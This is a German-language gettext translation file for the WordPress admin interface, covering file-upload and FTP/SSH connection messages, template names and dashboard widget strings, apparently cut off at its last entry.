wp-admin/includes/image-edit.php:826 msgid "Image data does not exist. Please re-upload the image." msgstr "Es liegen keine Bilddaten vor, bitte lade das Bild erneut hoch." #: wp-admin/includes/file.php:2304 msgid "Proceed" msgstr "Weiter" #: wp-admin/includes/file.php:2290 msgid "Enter the location on the server where the public and private keys are located. If a passphrase is needed, enter that in the password field above." msgstr "Gib das Verzeichnis auf dem Server an, in dem der öffentliche sowie der private Schlüssel liegen. Falls eine Passphrase benötigt wird, gib diese im darüber liegenden Passwort-Feld ein." #: wp-admin/includes/file.php:2287 msgid "Private Key:" msgstr "Privater Schlüssel:" #: wp-admin/includes/file.php:2283 msgid "Public Key:" msgstr "Öffentlicher Schlüssel:" #: wp-admin/includes/file.php:2281 msgid "Authentication Keys" msgstr "Authentifizierungschlüssel" #: wp-admin/includes/file.php:2260 msgid "Connection Type" msgstr "Verbindungstyp" #: wp-admin/includes/file.php:2255 msgid "This password will not be stored on the server." msgstr "Dieses Passwort wird nicht auf dem Server gespeichert." #: wp-admin/includes/file.php:2241 msgid "example: www.wordpress.org" msgstr "Beispiel: www.wordpress.org" #: wp-admin/includes/file.php:2240 msgid "Hostname" msgstr "Hostname" #: wp-admin/includes/file.php:2226 msgid "If you do not remember your credentials, you should contact your web host." msgstr "Falls du deine Zugangsdaten vergessen hast, solltest du bei deinem Webhoster nachfragen." #: wp-admin/includes/file.php:2222 msgid "FTP Password" msgstr "FTP-Passwort" #: wp-admin/includes/file.php:2221 msgid "FTP Username" msgstr "FTP-Benutzername" #: wp-admin/includes/file.php:2220 msgid "Please enter your FTP credentials to proceed." msgstr "Bitte gib die FTP-Zugangsdaten ein, um fortzufahren." #: wp-admin/includes/file.php:2218 msgid "FTP/SSH Password" msgstr "FTP-/SSH-Passwort" #: wp-admin/includes/file.php:2217 msgid "FTP/SSH Username" msgstr "FTP-/SSH-Benutzername" #: wp-admin/includes/file.php:2216 msgid "Please enter your FTP or SSH credentials to proceed." msgstr "Bitte gib die FTP- oder SSH-Zugangsdaten ein, um fortzufahren." #: wp-admin/includes/file.php:2212 msgid "To perform the requested action, WordPress needs to access your web server." msgstr "Um diese Aktion durchführen zu können, benötigt WordPress Zugriff auf deinen Webserver." #: wp-admin/includes/file.php:2206 msgid "Connection Information" msgstr "Verbindungsinformation" #: wp-admin/includes/file.php:2179 msgid "SSH2" msgstr "SSH2" #: wp-admin/includes/file.php:2176 msgid "FTPS (SSL)" msgstr "FTPS (SSL)" #: wp-admin/includes/file.php:2173 msgid "FTP" msgstr "FTP" #: wp-admin/includes/file.php:2164 msgid "<strong>Error</strong>: Could not connect to the server. Please verify the settings are correct." msgstr "<strong>Fehler:</strong> Bei der Verbindung zum Server trat ein Fehler auf. Bitte überprüfe die Einstellungen." #: wp-admin/includes/file.php:1780 wp-admin/includes/update-core.php:1375 msgid "Directory listing failed." msgstr "Auflistung des Verzeichnisinhaltes ist fehlgeschlagen." #: wp-admin/includes/file.php:1682 msgid "Empty archive." msgstr "Leeres Archiv." #: wp-admin/includes/file.php:1635 wp-admin/includes/file.php:1753 #: wp-admin/includes/file.php:1796 wp-admin/includes/update-core.php:1259 #: wp-admin/includes/update-core.php:1391 msgid "Could not copy file." msgstr "Die Datei konnte nicht kopiert werden." #: wp-admin/includes/file.php:1631 msgid "Could not extract file from archive." msgstr "Die Datei konnte nicht aus dem Archiv extrahiert werden." #: wp-admin/includes/file.php:1546 wp-admin/includes/file.php:1613 msgid "Could not retrieve file from archive." msgstr "Die Datei konnte nicht im ZIP-Archiv gefunden werden." #: wp-admin/includes/file.php:1538 wp-admin/includes/file.php:1678 msgid "Incompatible Archive." msgstr "Inkompatibles Archiv." #. translators: %s: The filename of the package. #: wp-admin/includes/file.php:1394 msgid "The authenticity of %s could not be verified." msgstr "Die Echtheit von %s konnte nicht verifiziert werden." #. translators: %s: The filename of the package. #: wp-admin/includes/file.php:1346 msgid "The authenticity of %s could not be verified as no signature was found." msgstr "Die Echtheit von %s konnte nicht verifiziert werden, da keine Signatur gefunden wurde." #. translators: %s: The filename of the package. #: wp-admin/includes/file.php:1273 wp-admin/includes/file.php:1293 #: wp-admin/includes/file.php:1327 msgid "The authenticity of %s could not be verified as signature verification is unavailable on this system." msgstr "Die Echtheit von %s konnte nicht verifiziert werden, da die Signaturprüfung auf diesem System nicht verfügbar ist." #. translators: 1: File checksum, 2: Expected checksum value. #: wp-admin/includes/file.php:1244 msgid "The checksum of the file (%1$s) does not match the expected checksum value (%2$s)." msgstr "Die Prüfsumme der Datei (%1$s) stimmt nicht mit dem erwarteten Prüfsummenwert (%2$s) überein." #: wp-admin/includes/file.php:1079 msgid "Could not create Temporary file." msgstr "Es konnte keine temporäre Datei erstellt werden." #: wp-admin/includes/file.php:1072 msgid "Invalid URL Provided." msgstr "Es wurde eine fehlerhafte URL übergeben." #. translators: %s: Destination file path. #: wp-admin/includes/file.php:948 msgid "The uploaded file could not be moved to %s." msgstr "Die hochgeladene Datei konnte nicht nach %s verschoben werden." #. translators: 1: php.ini, 2: post_max_size, 3: upload_max_filesize #: wp-admin/includes/file.php:869 wp-admin/includes/import.php:87 msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your %1$s file or by %2$s being defined as smaller than %3$s in %1$s." msgstr "Die Datei ist leer. Bitte lade etwas Größeres hoch. Dieser Fehler kann auch dadurch verursacht werden, dass Uploads in deiner %1$s-Datei deaktiviert sind oder dass in der %1$s-Datei der Wert in %2$s kleiner als in %3$s definiert ist." #: wp-admin/includes/file.php:865 msgid "File is empty. Please upload something more substantial." msgstr "Die Datei ist leer. Bitte lade etwas mit mehr Substanz hoch." #: wp-admin/includes/file.php:858 msgid "Specified file failed upload test." msgstr "Fehler beim Uploadtest der ausgewählten Datei." #: wp-admin/includes/file.php:848 msgid "Invalid form submission." msgstr "Fehlerhafte Formulareingabe." #: wp-admin/includes/file.php:834 msgid "File upload stopped by extension." msgstr "Der Datei-Upload wurde von einer Erweiterung gestoppt." #: wp-admin/includes/file.php:833 msgid "Failed to write file to disk." msgstr "Konnte die Datei nicht auf die Festplatte kopieren." #: wp-admin/includes/file.php:832 msgid "Missing a temporary folder." msgstr "Es fehlt ein temporärer Ordner." #: wp-admin/includes/file.php:830 msgid "No file was uploaded." msgstr "Keine Datei hochgeladen." #: wp-admin/includes/file.php:829 msgid "The uploaded file was only partially uploaded." msgstr "Die hochgeladene Datei ist nur zum Teil angekommen." #. translators: %s: MAX_FILE_SIZE #: wp-admin/includes/file.php:826 msgid "The uploaded file exceeds the %s directive that was specified in the HTML form." msgstr "Die hochgeladene Datei überschreitet die maximale Größe von %s, die im HTML-Formular angegeben ist." #. translators: 1: upload_max_filesize, 2: php.ini #: wp-admin/includes/file.php:820 msgid "The uploaded file exceeds the %1$s directive in %2$s." msgstr "Die hochgeladene Datei übersteigt die Anweisung %1$s in der %2$s." #: wp-admin/includes/file.php:571 msgid "Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP." msgstr "Kommunikation mit der Website, um auf fatale Fehler zu prüfen, nicht möglich, daher wurde die PHP-Änderung rückgängig gemacht. Du wirst deine veränderte PHP-Datei mit anderen Mitteln hochladen müssen, wie per SFTP." #: wp-admin/includes/file.php:504 msgid "Unable to write to file." msgstr "Kann nicht in die Datei schreiben." #: wp-admin/includes/file.php:486 wp-admin/plugin-editor.php:116 msgid "Files of this type are not editable." msgstr "Dateien von diesem Typ können nicht bearbeitet werden." #: wp-admin/includes/file.php:478 wp-admin/plugin-editor.php:109 #: wp-admin/theme-editor.php:278 msgid "File does not exist! Please double check the name and try again." msgstr "Die Datei existiert nicht! Bitte überprüfe den Namen noch einmal und versuch es erneut." #: wp-admin/includes/file.php:425 wp-admin/theme-editor.php:18 msgid "Sorry, you are not allowed to edit templates for this site." msgstr "Du bist leider nicht berechtigt, Templates dieser Website zu bearbeiten." #: wp-admin/includes/file.php:405 wp-admin/includes/file.php:465 #: wp-admin/includes/file.php:705 wp-admin/includes/file.php:711 msgid "Sorry, that file cannot be edited." msgstr "Diese Datei kann leider nicht bearbeitet werden." #: wp-admin/includes/file.php:393 wp-admin/plugin-editor.php:18 msgid "Sorry, you are not allowed to edit plugins for this site." msgstr "Du bist leider nicht berechtigt, Plugins dieser Website zu bearbeiten." #: wp-admin/includes/file.php:324 wp-admin/options-permalink.php:366 #: wp-admin/options-permalink.php:391 wp-admin/options-permalink.php:424 #: wp-admin/plugin-editor.php:296 wp-admin/theme-editor.php:323 msgid "https://wordpress.org/support/article/changing-file-permissions/" msgstr "https://wordpress.org/support/article/changing-file-permissions/" #. translators: %s: Documentation URL. #: wp-admin/includes/file.php:323 wp-admin/plugin-editor.php:295 #: wp-admin/theme-editor.php:322 msgid "You need to make this file writable before you can save your changes. See <a href=\"%s\">Changing File Permissions</a> for more information." msgstr "Du musst diese Datei beschreibbar machen, bevor du deine Änderungen speichern kannst. Siehe <a href=\"%s\">Dateiberechtigungen ändern (engl.)</a> für weitere Informationen." #. translators: 1: Line number, 2: File path. #: wp-admin/includes/file.php:311 msgid "Your PHP code changes were rolled back due to an error on line %1$s of file %2$s. Please fix and try saving again." msgstr "Deine PHP-Code-Änderungen wurden aufgrund eines Fehlers in Zeile %1$s der Datei %2$s zurückgesetzt. Bitte beheben und versuchen, erneut zu speichern." #. translators: %s: Template name. #: wp-admin/includes/file.php:92 msgid "%s Page Template" msgstr "%s Seiten-Template" #: wp-admin/includes/file.php:64 msgid "Popup Comments" msgstr "Popup-Kommentare" #: wp-admin/includes/file.php:63 msgid "Popup Comments Template" msgstr "Popup-Kommentar-Template" #: wp-admin/includes/file.php:62 msgid "Comments Template" msgstr "Kommentar-Template" #: wp-admin/includes/file.php:59 msgid ".htaccess (for rewrite rules )" msgstr ".htaccess (für Rewrite-Regeln)" #: wp-admin/includes/file.php:58 msgid "my-hacks.php (legacy hacks support)" msgstr "my-hacks.php (Legacy Hacks Support)" #: wp-admin/includes/file.php:56 msgid "RTL Stylesheet" msgstr "Stylesheet für linksläufige Sprachen" #: wp-admin/includes/file.php:55 msgid "Visual Editor RTL Stylesheet" msgstr "Stylesheet für linksläufige Sprachen im visuellen Editor" #: wp-admin/includes/file.php:54 msgid "Visual Editor Stylesheet" msgstr "Stylesheet für visuellen Editor" #: wp-admin/includes/file.php:51 msgid "Embed Footer Template" msgstr "Embed Footer-Template" #: wp-admin/includes/file.php:50 msgid "Embed Header Template" msgstr "Embed Header-Template" #: wp-admin/includes/file.php:49 msgid "Embed Content Template" msgstr "Embed Content-Template" #: wp-admin/includes/file.php:48 msgid "Embed 404 Template" msgstr "Embed 404-Template" #: wp-admin/includes/file.php:47 msgid "Embed Template" msgstr "Embed Template" #: wp-admin/includes/file.php:45 msgid "Application Attachment Template" msgstr "Anhang-Template (Anwendung)" #: wp-admin/includes/file.php:44 msgid "Audio Attachment Template" msgstr "Anhang-Template (Audios)" #: wp-admin/includes/file.php:43 msgid "Video Attachment Template" msgstr "Anhang-Template (Videos)" #: wp-admin/includes/file.php:42 msgid "Image Attachment Template" msgstr "Anhang-Template (Bilder)" #: wp-admin/includes/file.php:41 msgid "Attachment Template" msgstr "Anhang-Template" #: wp-admin/includes/file.php:39 msgid "Privacy Policy Page" msgstr "Seite für Datenschutzerklärung" #: wp-admin/includes/file.php:37 msgid "Single Page" msgstr "Einzelseite" #: wp-admin/includes/file.php:36 msgid "Single Post" msgstr "Einzelner Beitrag" #: wp-admin/includes/file.php:35 msgid "Singular Template" msgstr "Singular-Template" #: wp-admin/includes/file.php:33 msgid "Date Template" msgstr "Datums-Template" #: wp-admin/includes/file.php:31 msgid "Posts Page" msgstr "Beitragsseite" #: wp-admin/includes/file.php:30 msgid "Tag Template" msgstr "Schlagwort-Template" #: wp-admin/includes/file.php:29 msgid "Category Template" msgstr "Kategorie-Template" #: wp-admin/includes/file.php:28 msgid "Taxonomy Template" msgstr "Taxonomie-Template" #: wp-admin/includes/file.php:27 msgid "Author Template" msgstr "Autor-Template" #: wp-admin/includes/file.php:25 msgid "Main Index Template" msgstr "Hauptindex-Template" #: wp-admin/includes/file.php:23 msgid "Links Template" msgstr "Links-Template" #: wp-admin/includes/file.php:22 msgid "404 Template" msgstr "404-Template" #: wp-admin/includes/file.php:21 msgid "Search Form" msgstr "Suchformular" #: wp-admin/includes/file.php:18 msgid "Theme Footer" msgstr "Theme-Footer" #: wp-admin/includes/file.php:17 msgid "Theme Header" msgstr "Theme-Header" #: wp-admin/includes/file.php:16 msgid "Theme Functions" msgstr "Theme-Funktionen" #: wp-admin/includes/edit-tag-messages.php:39 msgid "Tags deleted." msgstr "Schlagwörter gelöscht." #: wp-admin/includes/edit-tag-messages.php:38 msgid "Tag not updated." msgstr "Schlagwort nicht aktualisiert." #: wp-admin/includes/edit-tag-messages.php:37 msgid "Tag not added." msgstr "Schlagwort nicht hinzugefügt." #: wp-admin/includes/edit-tag-messages.php:36 msgid "Tag updated." msgstr "Schlagwort aktualisiert." #: wp-admin/includes/edit-tag-messages.php:35 msgid "Tag deleted." msgstr "Schlagwort gelöscht." #: wp-admin/includes/edit-tag-messages.php:34 msgid "Tag added." msgstr "Schlagwort hinzugefügt." #: wp-admin/includes/edit-tag-messages.php:29 msgid "Categories deleted." msgstr "Kategorien gelöscht." #: wp-admin/includes/edit-tag-messages.php:28 msgid "Category not updated." msgstr "Kategorie nicht aktualisiert." #: wp-admin/includes/edit-tag-messages.php:27 msgid "Category not added." msgstr "Kategorie nicht hinzugefügt." #: wp-admin/includes/edit-tag-messages.php:26 msgid "Category updated." msgstr "Kategorie aktualisiert." #: wp-admin/includes/edit-tag-messages.php:25 msgid "Category deleted." msgstr "Kategorie gelöscht." #: wp-admin/includes/edit-tag-messages.php:24 msgid "Category added." msgstr "Kategorie hinzugefügt." #: wp-admin/includes/edit-tag-messages.php:19 msgid "Items deleted." msgstr "Elemente gelöscht." #: wp-admin/includes/edit-tag-messages.php:17 msgid "Item not added." msgstr "Element wurde nicht hinzugefügt." #: wp-admin/includes/edit-tag-messages.php:16 msgid "Item updated." msgstr "Elemente wurden aktualisiert." #: wp-admin/includes/edit-tag-messages.php:15 msgid "Item deleted." msgstr "Element wurde gelöscht." #. translators: %s: Plugin name. #: wp-admin/includes/deprecated.php:1387 msgctxt "plugin" msgid "Install %s" msgstr "%s installieren" #: wp-admin/includes/deprecated.php:1384 msgid "Popular Plugin" msgstr "Beliebtes Plugin" #. translators: 1: Starting number of users on the current page, 2: Ending #. number of users, 3: Total number of users. #: wp-admin/includes/deprecated.php:609 msgid "Displaying %1$s–%2$s of %3$s" msgstr "%1$s–%2$s von %3$s anzeigen" #: wp-admin/includes/dashboard.php:1970 msgid "https://wordpress.org/support/article/first-steps-with-wordpress/" msgstr "https://wordpress.org/support/article/first-steps-with-wordpress/" #: wp-admin/includes/dashboard.php:1970 msgid "Learn more about getting started" msgstr "Erfahre mehr über den Einstieg" #: wp-admin/includes/dashboard.php:1968 msgid "Turn comments on or off" msgstr "Kommentare ein- oder ausschalten" #: wp-admin/includes/dashboard.php:1965 msgid "Manage menus" msgstr "Menüs verwalten" #: wp-admin/includes/dashboard.php:1962 msgid "Manage widgets" msgstr "Widgets verwalten" #: wp-admin/includes/dashboard.php:1959 msgid "More Actions" msgstr "Weitere Möglichkeiten" #: wp-admin/includes/dashboard.php:1955 msgid "View your site" msgstr "Sieh dir deine Website an" #: wp-admin/includes/dashboard.php:1953 msgid "Set up your homepage" msgstr "Deine Homepage anlegen" #: wp-admin/includes/dashboard.php:1952 msgid "Add an About page" msgstr "Erstelle eine „Über mich“-Seite" #: wp-admin/includes/dashboard.php:1951 msgid "Write your first blog post" msgstr "Schreibe deinen ersten Beitrag" #: wp-admin/includes/dashboard.php:1949 msgid "Add a blog post" msgstr "Erstelle einen Beitrag" #: wp-admin/includes/dashboard.php:1945 wp-admin/includes/dashboard.php:1948 msgid "Add additional pages" msgstr "Füge zusätzliche Seiten hinzu" #: wp-admin/includes/dashboard.php:1944 wp-admin/includes/dashboard.php:1947 msgid "Edit your front page" msgstr "Bearbeite deine Startseite" #: wp-admin/includes/dashboard.php:1941 msgid "Next Steps" msgstr "Nächste Schritte" #. translators: %s: URL to Themes panel in Customizer or Themes screen. #: wp-admin/includes/dashboard.php:1935 msgid "or, <a href=\"%s\">change your theme completely</a>" msgstr "oder <a href=\"%s\">das komplette Theme wechseln</a>" #: wp-admin/includes/dashboard.php:1927 wp-admin/includes/dashboard.php:1929 msgid "Customize Your Site" msgstr "Website anpassen" #: wp-admin/includes/dashboard.php:1926 msgid "Get Started" msgstr "Jetzt loslegen" #: wp-admin/includes/dashboard.php:1922 msgid "We’ve assembled some links to get you started:" msgstr "Wir haben einige Links zusammengestellt, um dir den Start zu erleichtern:" #: wp-admin/includes/dashboard.php:1921 msgid "Welcome to WordPress!" msgstr "Willkommen bei WordPress!" #. translators: 1: Number of issues. 2: URL to Site Health screen. #: wp-admin/includes/dashboard.php:1891 msgid "Take a look at the <strong>%1$d item</strong> on the <a href=\"%2$s\">Site Health screen</a>." msgid_plural "Take a look at the <strong>%1$d items</strong> on the <a href=\"%2$s\">Site Health screen</a>." msgstr[0] "Wirf einen Blick auf <strong>%1$d Eintrag</strong> der Seite <a href=\"%2$s\">Website-Zustand</a>." msgstr[1] "Wirf einen Blick auf die <strong>%1$d Einträge</strong> der Seite <a href=\"%2$s\">Website-Zustand</a>." #: wp-admin/includes/dashboard.php:1881 msgid "Your site’s health is looking good, but there are still some things you can do to improve its performance and security." msgstr "Deine Website ist in Ordnung, aber es gibt dennoch einige Dinge, die du tun kannst, um deren Leistung und Sicherheit zu verbessern." #: wp-admin/includes/dashboard.php:1879 msgid "Great job! Your site currently passes all site health checks." msgstr "Hervorragende Arbeit! Deine Website besteht derzeit alle Tests zum Website-Zustand." #: wp-admin/includes/dashboard.php:1877 msgid "Your site has critical issues that should be addressed as soon as possible to improve its performance and security." msgstr "Deine Website weist kritische Probleme auf, um die du dich so schnell wie möglich kümmern solltest, damit Leistung und Sicherheit verbessert werden." #. translators: %s: URL to Site Health screen. #: wp-admin/includes/dashboard.php:1869 msgid "Site health checks will automatically run periodically to gather information about your site. You can also <a href=\"%s\">visit the Site Health screen</a> to gather information about your site now." msgstr "In regelmäßigen Abständen werden automatisch Tests zum Website-Zustand durchgeführt, um Informationen über deine Website zu sammeln. Du kannst auch die Seite <a href=\"%s\">Website-Zustand</a> besuchen, um jetzt Informationen über deine Website zu sammeln." #: wp-admin/includes/dashboard.php:1859 wp-admin/site-health-info.php:47 #: wp-admin/site-health.php:85 msgid "Results are still loading…" msgstr "Die Ergebnisse werden noch geladen…" #: wp-admin/includes/dashboard.php:1857 msgid "No information yet…" msgstr "Noch keine Information …" #: wp-admin/includes/dashboard.php:1778 msgid "What is PHP and how does it affect my site?" msgstr "Was ist PHP und inwiefern betrifft es meine Website?" #. translators: %s: The server PHP version. #: wp-admin/includes/dashboard.php:1771 msgid "Your site is running an outdated version of PHP (%s), which should be updated." msgstr "Auf deiner Website läuft eine veraltete Version von PHP (%s), die aktualisiert werden sollte." #. translators: %s: The server PHP version. #: wp-admin/includes/dashboard.php:1765 msgid "Your site is running an insecure version of PHP (%s), which should be updated." msgstr "Auf deiner Website läuft eine unsichere Version von PHP (%s), die aktualisiert werden sollte." #: wp-admin/includes/dashboard.php:1658 msgid "Dismiss the browser warning panel" msgstr "Den Bereich für Browser-Warnungen ausblenden" #. translators: 1: Browser update URL, 2: Browser name, 3: Browse Happy URL. #: wp-admin/includes/dashboard.php:1653 msgid "<a href=\"%1$s\" class=\"update-browser-link\">Update %2$s</a> or learn how to <a href=\"%3$s\" class=\"browse-happy-link\">browse happy</a>" msgstr "<a href=\"%1$s\" class=\"update-browser-link\">Aktualisiere %2$s</a> oder informiere dich über Alternativen bei <a href=\"%3$s\" class=\"browse-happy-link\">browse happy</a>" #. translators: %s: Browser name and link. #: wp-admin/includes/dashboard.php:1631 msgid "It looks like you're using an old version of %s. For the best WordPress experience, please update your browser." msgstr "Du scheinst eine alte Version von %s zu verwenden. Für das beste Nutzungserlebnis mit WordPress solltest du deinen Browser aktualisieren." #. translators: %s: Browser name and link. #: wp-admin/includes/dashboard.php:1625 msgid "It looks like you're using an insecure version of %s. Using an outdated browser makes your computer unsafe. For the best WordPress experience, please update your browser." msgstr "Es scheint, als würdest du eine unsichere Version von %s verwenden. Die Nutzung eines veralteten Browsers kann deinen Computer gefährden. Um das optimale Nutzungserlebnis mit WordPress zu haben, solltest du deinen Browser auf eine neue Version aktualisieren." #. translators: 1: Number of megabytes, 2: Percentage. #: wp-admin/includes/dashboard.php:1595 msgid "%1$s MB (%2$s%%) Space Used" msgstr "%1$s MB (%2$s %%) verwendeter Speicherplatz" #: wp-admin/includes/dashboard.php:1588 wp-admin/includes/dashboard.php:1603 msgid "Manage Uploads" msgstr "Uploads verwalten" #. translators: %s: Number of megabytes. #: wp-admin/includes/dashboard.php:1581 msgid "%s MB Space Allowed" msgstr "%s MB freier Speicherplatz" #: wp-admin/includes/dashboard.php:1574 msgid "Storage Space" msgstr "Speicherplatz" #: wp-admin/includes/dashboard.php:1510 msgid "Other WordPress News" msgstr "Weitere WordPress-News" #: wp-admin/includes/dashboard.php:1501 msgid "https://planet.wordpress.org/feed/" msgstr "https://de.planetwp.org/de/small-feed/feed/" #: wp-admin/includes/dashboard.php:1492 wp-admin/index.php:96 msgid "https://planet.wordpress.org/" msgstr "https://planet.wordpress.org/" #: wp-admin/includes/dashboard.php:1477 msgid "WordPress Blog" msgstr "WordPress-Blog" #: wp-admin/includes/dashboard.php:1468 msgid "https://wordpress.org/news/feed/" msgstr "https://de.wordpress.org/category/release/feed/" #: wp-admin/includes/dashboard.php:1459 msgid "https://wordpress.org/news/" msgstr "https://de.wordpress.org/news/" #. translators: %s: Meetup organization documentation URL. #: wp-admin/includes/dashboard.php:1432 msgid "There aren’t any events scheduled near you at the moment. Would you like to <a href=\"%s\">organize a WordPress event</a>?" msgstr "Momentan sind keine Veranstaltungen in deiner Nähe geplant. Möchtest du <a href=\"%s\">ein WordPress-Event organisieren (engl.)</a>?" #: wp-admin/includes/dashboard.php:1424 wp-admin/includes/dashboard.php:1433 msgid "https://make.wordpress.org/community/handbook/meetup-organizer/welcome/" msgstr "https://make.wordpress.org/community/handbook/meetup-organizer/welcome/" #. translators: 1: The city the user searched for, 2: Meetup organization #. documentation URL. #: wp-admin/includes/dashboard.php:1422 msgid "There aren’t any events scheduled near %1$s at the moment. Would you like to <a href=\"%2$s\">organize a WordPress event</a>?" msgstr "Momentan sind keine Veranstaltungen in der Nähe von %1$s geplant. Möchtest du <a href=\"%2$s\">ein WordPress-Event organisieren (engl.)</a>?" #: wp-admin/includes/dashboard.php:1408 msgid "https://make.wordpress.org/community/organize-event-landing-page/" msgstr "https://make.wordpress.org/community/organize-event-landing-page/" #. translators: %s: Localized meetup organization documentation URL. #: wp-admin/includes/dashboard.php:1407 msgid "Want more events? <a href=\"%s\">Help organize the next one</a>!" msgstr "Du möchtest mehr Events? <a href=\"%s\">Hilf bei der Organisation der nächsten</a>!" #. translators: %s is the name of the city we couldn't locate. Replace the #. examples with cities in your locale, but test that they match the expected #. location before including them. Use endonyms (native locale names) whenever #. possible. #: wp-admin/includes/dashboard.php:1374 msgid "We couldn’t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland." msgstr "Wir konnten %s nicht finden. Bitte versuche es mit einer anderen nahegelegenen Stadt. Zum Beispiel: Berlin, Köln, Stuttgart." #. translators: %s: The name of a city. #: wp-admin/includes/dashboard.php:1360 msgid "Attend an upcoming event near %s." msgstr "Besuche eine Veranstaltung in der Nähe von %s:" #: wp-admin/includes/dashboard.php:1330 msgid "Cincinnati" msgstr "Hamburg" #: wp-admin/includes/dashboard.php:1318 msgid "City:" msgstr "Stadt:" #: wp-admin/includes/dashboard.php:1311 msgid "Edit city" msgstr "Stadt bearbeiten" #: wp-admin/includes/dashboard.php:1290 wp-admin/js/dashboard.js:585 msgid "An error occurred. Please try again." msgstr "Ein Fehler ist aufgetreten. Bitte versuche es erneut." #: wp-admin/includes/dashboard.php:1266 wp-admin/includes/theme.php:297 msgid "News" msgstr "News" #. translators: If a Rosetta site exists (e.g. https://es.wordpress.org/news/), #. then use that. Otherwise, leave untranslated. #: wp-admin/includes/dashboard.php:1265 msgctxt "Events and News dashboard widget" msgid "https://wordpress.org/news/" msgstr "https://de.wordpress.org/news/" #: wp-admin/includes/dashboard.php:1253 msgid "WordCamps" msgstr "WordCamps" #: wp-admin/includes/dashboard.php:1241 msgid "Meetups" msgstr "Meetups" #: wp-admin/includes/dashboard.php:1107 wp-admin/includes/dashboard.php:1286 msgid "This widget requires JavaScript." msgstr "Dieses Widget benötigt JavaScript." #: wp-admin/includes/dashboard.php:1060 msgid "View more comments" msgstr "Zeige mehr Kommentare" #. translators: 1: Relative date, 2: Time. #: wp-admin/includes/dashboard.php:992 msgctxt "dashboard" msgid "%1$s, %2$s" msgstr "%1$s, %2$s" #. translators: Date and time format for recent posts on the dashboard, see #. https://www.php.net/manual/datetime.format.php #: wp-admin/includes/dashboard.php:982 msgid "M jS" msgstr "d.m." #. translators: Date and time format for recent posts on the dashboard, from a #. different calendar year, see https://www.php.net/manual/datetime.format.php #: wp-admin/includes/dashboard.php:979 msgid "M jS Y" msgstr "d.m.Y" #: wp-admin/includes/dashboard.php:976 msgid "Tomorrow" msgstr "Morgen" #: wp-admin/includes/dashboard.php:912 msgid "No activity yet!" msgstr "Bisher keine Aktivitäten!" #: wp-admin/includes/dashboard.php:903 msgid "Recently Published" msgstr "Kürzlich veröffentlicht" #: wp-admin/includes/dashboard.php:894 msgid "Publishing Soon" msgstr "In Kürze veröffentlichen" #. translators: 1: Type of comment, 2: Notification if the comment is pending. #: wp-admin/includes/dashboard.php:860 msgctxt "dashboard" msgid "%1$s %2$s" msgstr "%1$s %2$s" #. translators: 1: Type of comment, 2: Post link, 3: Notification if the #. comment is pending. #: wp-admin/includes/dashboard.php:852 msgctxt "dashboard" msgid "%1$s on %2$s %3$s" msgstr "%1$s zu %2$s %3$s" #. translators: 1: Comment author, 2: Notification if the comment is pending. #: wp-admin/includes/dashboard.php:823 msgid "From %1$s %2$s" msgstr "Von %1$s %2$s" #: wp-admin/includes/dashboard.php:818 wp-admin/includes/dashboard.php:825 #: wp-admin/includes/dashboard.php:855 wp-admin/includes/dashboard.php:862 msgid "[Pending]" msgstr "[Ausstehend]" #. translators: 1: Comment author, 2: Post link, 3: Notification if the comment #. is pending. #: wp-admin/includes/dashboard.php:815 msgid "From %1$s on %2$s %3$s" msgstr "Von %1$s zu %2$s %3$s" #: wp-admin/includes/dashboard.php:751 msgid "View this comment" msgstr "Diesen Kommentar anzeigen" #. translators: Maximum number of words used in a preview of a draft on the #. dashboard. #: wp-admin/includes/dashboard.php:619 msgctxt "draft_length" msgid "10" msgstr "10" #: wp-admin/includes/dashboard.php:613 msgid "View all drafts" msgstr "Alle Entwürfe anzeigen" #: wp-admin/includes/dashboard.php:558 msgid "What’s on your mind?" msgstr "Was beschäftigt dich?" #: wp-admin/includes/dashboard.php:481 wp-admin/includes/dashboard.php:483 #: wp-admin/network/sites.php:391 msgid "Search Sites" msgstr "Websites durchsuchen" #: wp-admin/includes/dashboard.php:473 wp-admin/includes/dashboard.php:475 #: wp-admin/users.php:643 wp-admin/network/site-users.php:274 #: wp-admin/network/users.php:296 msgid "Search Users" msgstr "Benutzer suchen" #. translators: 1: Text indicating the number of sites on the network, 2: Text #. indicating the number of users on the network. #: wp-admin/includes/dashboard.php:445 msgid "You have %1$s and %2$s." msgstr "Du hast %1$s und %2$s." #. translators: %s: Number of sites on the network. #: wp-admin/includes/dashboard.php:442 msgid "%s site" msgid_plural "%s sites" msgstr[0] "%s Website" msgstr[1] "%s Websites" #. translators: %s: Number of users on the network. #: wp-admin/includes/dashboard.php:440 msgid "%s user" msgid_plural "%s users" msgstr[0] "%s Benutzer" msgstr[1] "%s Benutzer" #: wp-admin/includes/dashboard.php:433 msgid "Create a New User" msgstr "Neuen Benutzer hinzufügen" #: wp-admin/includes/dashboard.php:430 msgid "Create a New Site" msgstr "Neue Website erstellen" #: wp-admin/includes/dashboard.php:381 msgid "Search engines discouraged" msgstr "Suchmaschinen ausgeschlossen" #. translators: %s: Number of pages. #: wp-admin/includes/dashboard.php:300 msgid "%s Page" msgid_plural "%s Pages" msgstr[0] "%s Seite" msgstr[1] "%s Seiten" #. translators: %s: Number of posts. #: wp-admin/includes/dashboard.php:297 msgid "%s Post" msgid_plural "%s Posts" msgstr[0] "%s Beitrag" msgstr[1] "%s Beiträge" #: wp-admin/includes/dashboard.php:196 msgid "Configure" msgstr "Konfigurieren" #: wp-admin/includes/dashboard.php:136 msgid "View all" msgstr "Alle anzeigen" #: wp-admin/includes/dashboard.php:80 msgid "WordPress Events and News" msgstr "WordPress-Veranstaltungen und Neuigkeiten" #: wp-admin/includes/dashboard.php:75 wp-admin/includes/dashboard.php:616 msgid "Your Recent Drafts" msgstr "Deine letzten Entwürfe" #: wp-admin/includes/dashboard.php:75 msgid "Quick Draft" msgstr "Schneller Entwurf" #: wp-admin/includes/dashboard.php:70 msgid "Activity" msgstr "Aktivität" #: wp-admin/includes/dashboard.php:65 msgid "Right Now" msgstr "Auf einen Blick" #: wp-admin/includes/dashboard.php:61 msgid "At a Glance" msgstr "Auf einen Blick" #: wp-admin/includes/dashboard.php:56 wp-admin/site-health.php:19 #: wp-admin/site-health.php:129 msgid "Site Health Status" msgstr "Zustand der Website" #: wp-admin/includes/dashboard.php:42 msgid "PHP Update Recommended" msgstr "PHP-Aktualisierung empfohlen" #: wp-admin/includes/dashboard.php:34 msgid "Your browser is out of date!" msgstr 